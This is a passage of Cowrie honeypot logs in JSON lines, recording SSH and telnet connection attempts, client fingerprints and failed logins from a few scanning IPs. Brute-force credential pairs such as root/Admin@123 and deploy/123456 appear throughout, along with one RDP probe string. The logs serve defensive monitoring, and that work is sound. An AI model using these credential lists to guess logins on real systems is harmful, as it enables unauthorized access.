16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:21.332897Z","src_ip":"45.153.34.97","session":"cfd0a9d3795a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:22.076781Z","src_ip":"45.153.34.97","session":"cfd0a9d3795a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:23.490134Z","src_ip":"45.153.34.97","session":"cfd0a9d3795a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.15988636016846,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:23.696951Z","src_ip":"152.42.224.71","session":"c5a3bf0413f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":40464,"dst_ip":"10.17.0.5","dst_port":22,"session":"42b6bbe73c1c","protocol":"ssh","message":"New connection: 45.153.34.97:40464 (10.17.0.5:22) [session: 42b6bbe73c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:25.484498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:25.493752Z","src_ip":"45.153.34.97","session":"42b6bbe73c1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:25.581498Z","src_ip":"45.153.34.97","session":"42b6bbe73c1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00110864639282,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:25.825975Z","src_ip":"152.42.224.71","session":"087ba52ccda3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"navid","password":"123456","message":"login attempt [navid/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:26.123050Z","src_ip":"45.153.34.97","session":"42b6bbe73c1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:27.208454Z","src_ip":"45.153.34.97","session":"42b6bbe73c1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59886,"dst_ip":"10.17.0.5","dst_port":23,"session":"404ec7f7d856","protocol":"telnet","message":"New connection: 152.42.224.71:59886 (10.17.0.5:23) [session: 404ec7f7d856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:27.909691Z"}
{"eventid":"cowrie.session.closed","duration":18.027103424072266,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:29.224587Z","src_ip":"152.42.224.71","session":"2eca2613a9cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":40480,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cd603fafcfd","protocol":"ssh","message":"New connection: 45.153.34.97:40480 (10.17.0.5:22) [session: 3cd603fafcfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:29.786704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:29.811712Z","src_ip":"45.153.34.97","session":"3cd603fafcfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:29.894589Z","src_ip":"45.153.34.97","session":"3cd603fafcfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sharon","password":"sharon","message":"login attempt [sharon/sharon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:30.877681Z","src_ip":"45.153.34.97","session":"3cd603fafcfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:32.281416Z","src_ip":"45.153.34.97","session":"3cd603fafcfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":58376,"dst_ip":"10.17.0.5","dst_port":22,"session":"b56eeb8c4e97","protocol":"ssh","message":"New connection: 45.153.34.97:58376 (10.17.0.5:22) [session: b56eeb8c4e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:34.072719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:34.086983Z","src_ip":"45.153.34.97","session":"b56eeb8c4e97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:34.177143Z","src_ip":"45.153.34.97","session":"b56eeb8c4e97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"d","password":"d","message":"login attempt [d/d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:34.587800Z","src_ip":"45.153.34.97","session":"b56eeb8c4e97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:35.684603Z","src_ip":"45.153.34.97","session":"b56eeb8c4e97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.10.63.235","src_port":47362,"dst_ip":"159.203.135.109","dst_port":22,"session":"f37ce43edb19","protocol":"ssh","message":"New connection: 185.10.63.235:47362 (159.203.135.109:22) [session: f37ce43edb19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:37.259837Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":58388,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcb0d3037713","protocol":"ssh","message":"New connection: 45.153.34.97:58388 (10.17.0.5:22) [session: fcb0d3037713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:38.570468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:38.574857Z","src_ip":"45.153.34.97","session":"fcb0d3037713","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:38.678139Z","src_ip":"45.153.34.97","session":"fcb0d3037713","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56130,"dst_ip":"10.17.0.5","dst_port":23,"session":"6979c05326c8","protocol":"telnet","message":"New connection: 152.42.224.71:56130 (10.17.0.5:23) [session: 6979c05326c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:39.196062Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:39.280294Z","src_ip":"45.153.34.97","session":"fcb0d3037713","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56146,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae114ced3900","protocol":"telnet","message":"New connection: 152.42.224.71:56146 (10.17.0.5:23) [session: ae114ced3900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:39.756313Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:40.384341Z","src_ip":"45.153.34.97","session":"fcb0d3037713","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.36.83","src_port":38326,"dst_ip":"10.17.0.5","dst_port":22,"session":"836263031a6f","protocol":"ssh","message":"New connection: 43.153.36.83:38326 (10.17.0.5:22) [session: 836263031a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:42.315192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:42.318923Z","src_ip":"43.153.36.83","session":"836263031a6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:42.386928Z","src_ip":"43.153.36.83","session":"836263031a6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf","message":"login attempt [root/asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:42.691478Z","src_ip":"43.153.36.83","session":"836263031a6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":58420,"dst_ip":"10.17.0.5","dst_port":22,"session":"81bece5cf6d4","protocol":"ssh","message":"New connection: 45.153.34.97:58420 (10.17.0.5:22) [session: 81bece5cf6d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:42.797491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:42.802828Z","src_ip":"45.153.34.97","session":"81bece5cf6d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:42.886292Z","src_ip":"45.153.34.97","session":"81bece5cf6d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bpadmin","password":"bpadmin","message":"login attempt [bpadmin/bpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:43.189320Z","src_ip":"45.153.34.97","session":"81bece5cf6d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:43.763043Z","src_ip":"43.153.36.83","session":"836263031a6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00140881538391,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:43.862207Z","src_ip":"152.42.224.71","session":"ca1e07440ae0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:44.282830Z","src_ip":"45.153.34.97","session":"81bece5cf6d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.95155215263367,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:45.180395Z","src_ip":"152.42.224.71","session":"ca319e54e04d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":49437,"dst_ip":"159.203.135.109","dst_port":22,"session":"2752c3d318a4","protocol":"ssh","message":"New connection: 152.42.212.128:49437 (159.203.135.109:22) [session: 2752c3d318a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:47.303532Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:47.308251Z","src_ip":"152.42.212.128","session":"2752c3d318a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:47.311288Z","src_ip":"152.42.212.128","session":"2752c3d318a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":58434,"dst_ip":"10.17.0.5","dst_port":22,"session":"75439538c3e0","protocol":"ssh","message":"New connection: 45.153.34.97:58434 (10.17.0.5:22) [session: 75439538c3e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:47.371277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:47.381494Z","src_ip":"45.153.34.97","session":"75439538c3e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:47.482989Z","src_ip":"45.153.34.97","session":"75439538c3e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@123","message":"login attempt [root/abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:47.780905Z","src_ip":"45.153.34.97","session":"75439538c3e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.09563088417053,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:47.864817Z","src_ip":"152.42.224.71","session":"0e264aa9f446","protocol":"telnet"}
